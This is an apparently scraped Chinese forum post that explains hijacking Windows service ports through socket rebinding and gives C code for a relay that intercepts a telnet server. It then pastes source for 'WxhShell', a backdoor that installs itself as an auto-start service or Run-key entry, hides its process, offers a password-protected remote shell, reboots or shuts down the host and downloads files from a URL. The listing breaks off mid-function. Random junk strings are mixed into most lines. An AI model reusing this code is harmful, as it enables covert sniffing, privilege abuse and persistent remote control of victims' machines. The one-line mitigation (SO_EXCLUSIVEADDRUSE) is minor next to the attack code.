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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mXJ`t5v^l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^"GDaMF  
C)(/NGf  
  saddr.sin_family = AF_INET; v&3 Oc  
|TQa=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T_I ApC  
iM +p{ /bN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |gwGCa+  
R&@NFin  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :} N;OS_  
/" 6Gh'  
  这意味着什么?意味着可以进行如下的攻击: ['DYP-1J  
4O>0gK{w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 txFcV  
B]wfDUG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6e4A| <  
5$%CRm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U*cWNn:."  
jVInTR0f[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4)].{Z4 q  
6>F1!Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 # |^yWw^  
*zl-R*bM$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dhmrh5Uf  
nV>=n,+s"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3fq'<5 ^  
s&D>'J  
  #include 6T-iBJT  
  #include )Kg _E6  
  #include %Zi}sm1t  
  #include    41 #YtZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6bd{3@   
  int main() IvJ5J&!  
  { Q'c[yu  
  WORD wVersionRequested; !WNO!S0/j  
  DWORD ret; drd5o Z  
  WSADATA wsaData; =0mXTY1  
  BOOL val; )( W%Hmi  
  SOCKADDR_IN saddr; 4$Ud4<  
  SOCKADDR_IN scaddr; Oz4yUR  
  int err; 91:TE8?Z  
  SOCKET s; Azag*M?  
  SOCKET sc; [WBU _  
  int caddsize; WS2@; 8.N  
  HANDLE mt; t[%ELHV  
  DWORD tid;   9B2`FJ  
  wVersionRequested = MAKEWORD( 2, 2 ); ~vstuRRST  
  err = WSAStartup( wVersionRequested, &wsaData ); Q0(3ps~H  
  if ( err != 0 ) { iuHs.k<z  
  printf("error!WSAStartup failed!\n"); .7r$jmuFs  
  return -1; ^=,N] j  
  } 2/RW(U  
  saddr.sin_family = AF_INET; *FC26_pH  
   e*hCf5=-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O^<\]_l  
p ^U#1c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Yy4l -}"  
  saddr.sin_port = htons(23); a.B<W9$`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ujfs!ikh&F  
  { -< }#ImTN  
  printf("error!socket failed!\n"); "j%L*J)  
  return -1; 1j\wvPLr  
  } oPC qv  
  val = TRUE; @+(a{%~7y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X DAwE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =(W l'iG   
  { A S]jJc^  
  printf("error!setsockopt failed!\n"); L0>w|LpRc  
  return -1; 0=c:O  
  } g33Y]\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;BjJ<?^{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sT+\ z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 , \R,O  
A^@,Ha  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) TDY =!  
  { B6"pw0  
  ret=GetLastError(); zR_yxs'  
  printf("error!bind failed!\n");  :IX_}|  
  return -1; "7_qB8\  
  } V|G[j\]E<  
  listen(s,2); 5HMDug;   
  while(1) b@yFqgJ_  
  { ">rt *?^  
  caddsize = sizeof(scaddr); ?&se]\  
  //接受连接请求 jS'hs>Ot  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O>sE~~g]?  
  if(sc!=INVALID_SOCKET) 8`;3`lZ  
  { WDQw)EUl&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kG|pM54:^  
  if(mt==NULL) q<!Kt I4  
  { ;+4X<)y*>  
  printf("Thread Creat Failed!\n"); {#J1D*?$"  
  break; 3:G94cp5  
  } ~[9(}UM  
  } E?3$ *t  
  CloseHandle(mt); :h)A/k_  
  } .W q"  
  closesocket(s); Trwk9 +  
  WSACleanup(); 7COJ.rA  
  return 0; PbN"+qM  
  }   8GFA}_(^R  
  DWORD WINAPI ClientThread(LPVOID lpParam) mB]Y;R<  
  { ]6 vqgu  
  SOCKET ss = (SOCKET)lpParam; HRZ3}8Qj  
  SOCKET sc;  gC}D0l[  
  unsigned char buf[4096]; SK_i 3?  
  SOCKADDR_IN saddr; BdZO$ALXL  
  long num; 4<QS ot  
  DWORD val; =D6H?K-k!  
  DWORD ret; #3o]Qo[Sc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yNu%D$6u7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &.t|&8-  
  saddr.sin_family = AF_INET; %*wOJx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U?:<clh  
  saddr.sin_port = htons(23); a,U@ !}K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sCF7K=a  
  { B[rxV  
  printf("error!socket failed!\n");  zOnQ656  
  return -1; \XXS;  
  } h f1f  
  val = 100; 4?a!6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $@blP<I  
  { M1f ^Lx  
  ret = GetLastError(); 4x JOPu  
  return -1; 044*@a5f  
  } fC4 D#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  _,2P4  
  { hA81(JWG  
  ret = GetLastError(); Eb<iR)e H=  
  return -1; (]mh}=:KDg  
  } fuxBoB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R.EA5X|_  
  { 3e g<)  
  printf("error!socket connect failed!\n"); n_n0Q}du  
  closesocket(sc);  *YFe  
  closesocket(ss); bTn7$EG  
  return -1; Pe !eID8  
  } RJ_ratKN*g  
  while(1) 'sL>U$(  
  { ZN2g(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Lw]:/x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %8T:rS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F` ifHO  
  num = recv(ss,buf,4096,0); %&yD^ q_  
  if(num>0) *My?l75  
  send(sc,buf,num,0); _= _]Yx  
  else if(num==0) {37DrSOa  
  break; FV/X&u8~  
  num = recv(sc,buf,4096,0); %3i/PIN  
  if(num>0) <)zh2UI  
  send(ss,buf,num,0); 1@Bq-2OD4  
  else if(num==0) FG~p _[K  
  break; l|Zw Zix  
  } Jr18faEZw  
  closesocket(ss); 7;C9V`  
  closesocket(sc); ,sk;|OAI  
  return 0 ; .BXZ\r`  
  } Ho?+?YJ#P  
A>$VkGo  
2;4Of~  
========================================================== e:V(kzAY;  
SMQuJ_  
下边附上一个代码,,WXhSHELL M%:ACLYP  
aT F}  
========================================================== +7o3TA]-  
vhEPk2wD,  
#include "stdafx.h" qqSk*oH~  
Xt /T0.I  
#include <stdio.h> A0M)*9 f  
#include <string.h> '=x   
#include <windows.h> / MSz{ %v  
#include <winsock2.h>  :XF;v  
#include <winsvc.h> N40.GL0s  
#include <urlmon.h> `6!l!8 v  
'R~x.NM  
#pragma comment (lib, "Ws2_32.lib") E'$r#k:o  
#pragma comment (lib, "urlmon.lib") au5 74tj  
PBr-< J  
#define MAX_USER   100 // 最大客户端连接数 Og%qv Bj 6  
#define BUF_SOCK   200 // sock buffer GFx >xQk  
#define KEY_BUFF   255 // 输入 buffer HPp Kti7g  
Qm,|'y:Tg  
#define REBOOT     0   // 重启 }Fyf?TZ$T  
#define SHUTDOWN   1   // 关机 vN 7a)s  
DI**fywu[3  
#define DEF_PORT   5000 // 监听端口 ~tDV{ml  
-sGfpLy<6  
#define REG_LEN     16   // 注册表键长度 I2%{6g@  
#define SVC_LEN     80   // NT服务名长度 X'ryfa1|  
2#ha Icm"  
// 从dll定义API hp,bfcM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Az6f I*yP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r_ I7Gd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &K)c*' l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FbJlyWND  
6I72;e ^!  
// wxhshell配置信息 c5<M=$  
struct WSCFG { @xB"9s  
  int ws_port;         // 监听端口 &BCl>^wn}  
  char ws_passstr[REG_LEN]; // 口令 z`xdRe{QP  
  int ws_autoins;       // 安装标记, 1=yes 0=no <y\>[7Y  
  char ws_regname[REG_LEN]; // 注册表键名  MI!C%  
  char ws_svcname[REG_LEN]; // 服务名 ,K6s'3O(LW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XJC|6"n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3F[z]B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U8?QyG 2A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5)2lZ(5.A#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GTNN4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9EK5#_L[=  
-j`tBv)  
}; Qy*`s  
eFp4MD8?  
// default Wxhshell configuration 55 Y BO$  
struct WSCFG wscfg={DEF_PORT, VW I{ wC  
    "xuhuanlingzhe", {XC# -3O  
    1, :7<spd(%"  
    "Wxhshell", votv rZ=  
    "Wxhshell", 7pMrYIP  
            "WxhShell Service", %/CCh;N#  
    "Wrsky Windows CmdShell Service", gb|C592R5C  
    "Please Input Your Password: ", e54wAypPOl  
  1, 35?et-=w  
  "http://www.wrsky.com/wxhshell.exe", x/#* M  
  "Wxhshell.exe" B5~S&HQ?B6  
    }; mMS%O]m,|  
R^<li;Km  
// 消息定义模块 /=*h\8c~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [, 3o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kKr7c4q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #pErGz'{  
char *msg_ws_ext="\n\rExit."; c]v $C&FX  
char *msg_ws_end="\n\rQuit."; Cz-eiPlq  
char *msg_ws_boot="\n\rReboot..."; 7$b!-I+ a2  
char *msg_ws_poff="\n\rShutdown..."; #;)Oi9{9;  
char *msg_ws_down="\n\rSave to "; IKMkpX!]  
7](,/MeGG  
char *msg_ws_err="\n\rErr!"; U}~SY  
char *msg_ws_ok="\n\rOK!"; Kp'_lKW)]q  
o|*ao2a  
char ExeFile[MAX_PATH]; Fo=Icvo  
int nUser = 0; Wl/oun~o  
HANDLE handles[MAX_USER]; ] +<[D2f  
int OsIsNt; y4PR&^l?g  
5 >S #ew  
SERVICE_STATUS       serviceStatus; eRKuy l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 26.),a  
brx 7hI  
// 函数声明 'G;y!<a  
int Install(void); ?`bi8 Ck  
int Uninstall(void); XZD9vFj1Z  
int DownloadFile(char *sURL, SOCKET wsh); [APwHIS  
int Boot(int flag); As }:~Jy|  
void HideProc(void); m-Q!V+XQp  
int GetOsVer(void); M{cF14cQ  
int Wxhshell(SOCKET wsl); SR)G!9z_/  
void TalkWithClient(void *cs); }^U7NZn<"  
int CmdShell(SOCKET sock); I(tMw6C$:  
int StartFromService(void); g X75zso  
int StartWxhshell(LPSTR lpCmdLine); 2fFZ70Yh  
e&sZ]{uD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XVr>\T4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &YC Z L  
:FB-GNd  
// 数据结构和表定义  mo+zq~,M  
SERVICE_TABLE_ENTRY DispatchTable[] = 7iMBDkb7  
{ O{b<UP'85  
{wscfg.ws_svcname, NTServiceMain}, aO8n\'bv  
{NULL, NULL} sdN@ZP  
}; )r2$!(NQ  
ko<u0SjF)u  
// 自我安装 vP6NIcWC3  
int Install(void) 8_ byS<b8  
{ DQ%bcXs  
  char svExeFile[MAX_PATH]; ^{Wx\+*!  
  HKEY key; k{\wjaf)  
  strcpy(svExeFile,ExeFile); ]nPfIBoS  
*Z}^T:3iw}  
// 如果是win9x系统,修改注册表设为自启动 $d0xJxM  
if(!OsIsNt) { 5&A{IN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SB~HHx09  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qp>'V<%m-  
  RegCloseKey(key); ^97u0K3$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t&|M@Ouet  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XBx&&  
  RegCloseKey(key); g Va;!  
  return 0; 03N|@Tu  
    } cft/;A u{  
  } *<r\:g  
} <MK4# I1I  
else { s Zn@ye^  
ZkWX4?&OMt  
// 如果是NT以上系统,安装为系统服务 CgT5sk}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  &<nj~BL  
if (schSCManager!=0) om_UQgC@r  
{ +"}#4  
  SC_HANDLE schService = CreateService e^!>W %.7Z  
  ( (:Y0^  
  schSCManager, I{nrOb1G(  
  wscfg.ws_svcname,  9}-;OJe  
  wscfg.ws_svcdisp, oS>VN<  
  SERVICE_ALL_ACCESS, =;L44.,g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jJ.isr|`  
  SERVICE_AUTO_START, kB#;s  
  SERVICE_ERROR_NORMAL, Pzt 5'O@dA  
  svExeFile, mETGYkPUa  
  NULL,  " fXs!  
  NULL, Mi^/`1  
  NULL, WRCf [5  
  NULL, $I0&I[_LzK  
  NULL _a]0<Vm C0  
  ); 3g79/ w  
  if (schService!=0) Wf!u?nH.5  
  { hQb3 8W[  
  CloseServiceHandle(schService); '_q&~M{  
  CloseServiceHandle(schSCManager); ,7:? Du}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sdzl[K/}  
  strcat(svExeFile,wscfg.ws_svcname); X_HU?Q_N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qV{iUtYt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S^Mx=KJG  
  RegCloseKey(key); =w;~1i% .k  
  return 0; Au10]b  
    } A)9F_;BY  
  } .;J6)h  
  CloseServiceHandle(schSCManager); \yhj{QS.k  
} )BeB xo7lv  
} % `\}#  
vqhu%ZyP  
return 1; c BcZ@e;  
} 0/5{v6_rG  
Mp`!zwR  
// 自我卸载 IkP; i_|  
int Uninstall(void) dy.U;  
{ G2 0   
  HKEY key; Lk lD^AJA  
_{2/QP}  
if(!OsIsNt) { jn]:*i;i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'wA4yJ<  
  RegDeleteValue(key,wscfg.ws_regname); ;9;jUQ]MyG  
  RegCloseKey(key); Ba}<X;B}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cGM?r}zJ  
  RegDeleteValue(key,wscfg.ws_regname); -|2k$W  
  RegCloseKey(key); E#n=aY~u-  
  return 0; SG@E*yT1  
  } OrY^?E  
} BHf7\ +Ul  
}  yJGnN g  
else { P,<pG[^K  
#_kV o3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T@R2H&L  
if (schSCManager!=0) LI9 Uc\  
{ KY+BXGW*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r7+Ytr  
  if (schService!=0) kYZj^tR  
  { =rN_8&  
  if(DeleteService(schService)!=0) { tjJi|  
  CloseServiceHandle(schService); |.?$:D&6  
  CloseServiceHandle(schSCManager); =X3Rk)2r  
  return 0; }u+cS[#-  
  } @MxB d,P  
  CloseServiceHandle(schService); f {j`d&|  
  } PouWRGS_  
  CloseServiceHandle(schSCManager); | Zj=E$  
} /s Bs eI  
} cD'|zH]  
LMaY}m>  
return 1; JIXZI\Fk  
} `s8!zy+  
hQ}y(2A.XI  
// 从指定url下载文件 ?t [C?{'  
int DownloadFile(char *sURL, SOCKET wsh) 9'0v]ar  
{ vw*,_f  
  HRESULT hr; ebiOR1)sN  
char seps[]= "/"; {ewo-dva  
char *token; $bF3 v=u`  
char *file; %I#[k4,N  
char myURL[MAX_PATH]; {-l:F2i  
char myFILE[MAX_PATH]; j>)yV@g/  
fzr0dcNgM  
strcpy(myURL,sURL); !"SuE)WM  
  token=strtok(myURL,seps); H|z:j35\  
  while(token!=NULL) m`xzvg  
  { Cznp(z  
    file=token; XXy &1C  
  token=strtok(NULL,seps); zXGi  
  } MX s]3M  
_)MbvF  
GetCurrentDirectory(MAX_PATH,myFILE); tr<0NV62>  
strcat(myFILE, "\\"); ?@H/;hB[|  
strcat(myFILE, file); )KKmV6>b  
  send(wsh,myFILE,strlen(myFILE),0); B qcFbY  
send(wsh,"...",3,0); yZY.B {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QygbfW6u  
  if(hr==S_OK) |g!3f  
return 0; ~#|Pe1Y  
else Pk^W+M_)~  
return 1; `J-&Y2_/k  
fcisDu8n  
} :tT6V(-W  
dReJ;x4  
// 系统电源模块 A;7At!kK  
int Boot(int flag) hw 0u?++  
{ sJ7ZE-v]h  
  HANDLE hToken; /EV _Y|(-  
  TOKEN_PRIVILEGES tkp; .NT9dX  
?btZdnQ))S  
  if(OsIsNt) { PLhlbzcf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Qw.j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i7foZ\btFc  
    tkp.PrivilegeCount = 1; M{O8iq[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BL H~`N3U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c. 06Sw*  
if(flag==REBOOT) { 6HRr 4NDcj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ab^>_xD<  
  return 0;  f~w!Z  
} ok(dCAKP  
else { O^sOv!!RH/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^'Qe.DW[  
  return 0; /Gvd5  
} S(Q=2Y  
  } >M^4p   
  else { %SJFuw"  
if(flag==REBOOT) { #?fKi$fS;L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }S6"$R  
  return 0; HB, k}Q  
} @h!nVf%fe  
else { @aUQy;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D\k'Eez  
  return 0; h9I vuv'  
} zaG1  
} s|IC;C|  
W \XLf,_+  
return 1; < m/@_"  
} y-lBaTE9  
##BfI`FJ  
// win9x进程隐藏模块 `} S; _g!  
void HideProc(void) V~fPp"F  
{ @3Gr2/a  
Y|~+bKa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B;c2gu  
  if ( hKernel != NULL ) 4}Dfi5:   
  { yhh\?qqy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H& !?c5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $$e"[g  
    FreeLibrary(hKernel); -^$`5Rk  
  } Eh&-b6:  
v`Yj)  
return; SYwB #|  
} PDkg@#&y,k  
,dXJCX8so  
// 获取操作系统版本 s5J?,xu  
int GetOsVer(void) 36UUt!}p  
{ 1Uk Gjw1J  
  OSVERSIONINFO winfo; IIO-Jr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U o[\1)  
  GetVersionEx(&winfo); *u]aWx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D+"+m%^>C  
  return 1; &n~v;M  
  else uYCWsw/  
  return 0; U5ME`lN*`  
} CkR 95*  
NM+ (ss'  
// 客户端句柄模块 U# U*^#  
int Wxhshell(SOCKET wsl) W9:(P  
{ )jGB[s";)y  
  SOCKET wsh; hw2Sb,bY  
  struct sockaddr_in client; < Wm'V-  
  DWORD myID; #j4RX:T*[  
0+Z?9$a1  
  while(nUser<MAX_USER) dU&hM<.|  
{ N2 .Ym;^  
  int nSize=sizeof(client); )`K!XX$%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y|cj&<o  
  if(wsh==INVALID_SOCKET) return 1; dfT  
Ru@ { b`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %r]V:d+  
if(handles[nUser]==0) *K;s*-|U  
  closesocket(wsh); -+y3~^EYm,  
else t&Jrchk  
  nUser++; th%T(D5n  
  } a/xnf<(H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z[WdJN{  
wL[{6wL  
  return 0; ]JH Int  
} }#2I/dn  
;s?,QvE{r#  
// 关闭 socket v(;n|=O  
void CloseIt(SOCKET wsh) |: pBk:  
{ 1F R  
closesocket(wsh); rmeGk&*R8  
nUser--; `JcWH_[  
ExitThread(0); @T%8EiV  
} ^#]eCXv  
RG:_:%@%}  
// 客户端请求句柄 pkc*toW  
void TalkWithClient(void *cs) ^00C"58A  
{ bMGXx>x  
xM$AhH  
  SOCKET wsh=(SOCKET)cs; gwDVWhq  
  char pwd[SVC_LEN]; cH6J:0>W  
  char cmd[KEY_BUFF]; ")9jt^  
char chr[1]; Cy6%f?j  
int i,j; vF9fXY=  
9JJk\,  
  while (nUser < MAX_USER) { DDe`Lb%%  
QBjvbWoIG(  
if(wscfg.ws_passstr) { ] QJ7q}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 lu_E.Bv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -'T^gEd) c  
  //ZeroMemory(pwd,KEY_BUFF); ]v l?J  
      i=0; iN1_ T  
  while(i<SVC_LEN) { krRnE7\m  
7MIrrhk  
  // 设置超时 C0W-}H  
  fd_set FdRead; MH=Ld=i  
  struct timeval TimeOut; >aT~ G!y  
  FD_ZERO(&FdRead); u5tUm  
  FD_SET(wsh,&FdRead); ~7:Q+ 0,,  
  TimeOut.tv_sec=8; D{6<,#P{w  
  TimeOut.tv_usec=0; x5b .^75p$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EP{/]T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W8M(@* T  
~)*uJ wW/a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vw :&c.zd  
  pwd=chr[0]; Tr, zV  
  if(chr[0]==0xd || chr[0]==0xa) { V0xO:7G^  
  pwd=0; ])?[9c  
  break; jXIVR'n(  
  } r |2{( +  
  i++; o@ @|4 F  
    } T }Wse{  
)B"E+Q'h{7  
  // 如果是非法用户,关闭 socket 3g5D[>J'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &3:<WU:U  
} p MR4]G  
zA| )9Dq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0B"_St}3D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =z\/xzAwX  
9>;CvR  
while(1) { fni7HBV?  
I2z6iT4nB  
  ZeroMemory(cmd,KEY_BUFF); 7h`t-6<!q  
ie7P^:T|+  
      // 自动支持客户端 telnet标准   luJNdA:t&  
  j=0; S2EV[K8#  
  while(j<KEY_BUFF) { Kf`/ Gc!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rg3g:TV9c  
  cmd[j]=chr[0]; [^gb6W9Y  
  if(chr[0]==0xa || chr[0]==0xd) { 6uxF<  
  cmd[j]=0; U5[r&Y D  
  break; 5m\)82s  
  } AJ z 1    
  j++; tg7QX/KX  
    } ol}}c6  
Tn?D~?a*O  
  // 下载文件 wpt5'|I  
  if(strstr(cmd,"http://")) { #JR$RH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S$/SFB$)~W  
  if(DownloadFile(cmd,wsh)) /!U(/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I(<Trn  
  else n(_wt##wE~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); le6eorK8  
  } cbW=kQc_  
  else { ~J >Jd  
HBA|NV3.  
    switch(cmd[0]) { .Dy2O*`  
  !8tqYY?>@\  
  // 帮助 .e\PCf9v  
  case '?': { _~;K]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q[x|tO  
    break; &D&U!3~(  
  } _5o5/@  
  // 安装 % @!hf!  
  case 'i': { ES)_X:\X?V  
    if(Install()) =-avzuy#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pv^:G;  
    else ;aH3{TS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ek d[|g  
    break; A(z m  
    } #-l+c u{  
  // 卸载 ]2_=(N\Kt  
  case 'r': {  3bHB$n  
    if(Uninstall()) C1OiMb(:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E9]*!^=/  
    else [S0wwWU |0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eL [.;_  
    break; I")mg~f  
    } }/jWa |)f  
  // 显示 wxhshell 所在路径 o'? WWJK6w  
  case 'p': { o+}G/*O8  
    char svExeFile[MAX_PATH]; pz"}o#R"x  
    strcpy(svExeFile,"\n\r"); !:v7SRUXb  
      strcat(svExeFile,ExeFile); I(b]V!mj:  
        send(wsh,svExeFile,strlen(svExeFile),0); O"wo&5b_  
    break; {gzVbZ#  
    } M3eFG@,  
  // 重启 8_M"lU0[  
  case 'b': { N9~'\O$'7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z~ua#(z1S  
    if(Boot(REBOOT)) f[?JLp   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQ<{X/5  
    else { /)sP<WPQ 6  
    closesocket(wsh); |<%v`*  
    ExitThread(0); {9{PU&?(  
    } &d]@$4u$;  
    break; w17CZa 6  
    } Ao\Im(?  
  // 关机 3Te&w9K  
  case 'd': { < Yc)F.:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r(rT.D&  
    if(Boot(SHUTDOWN)) z&\N^tBv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%0WD_  
    else { q``/7  
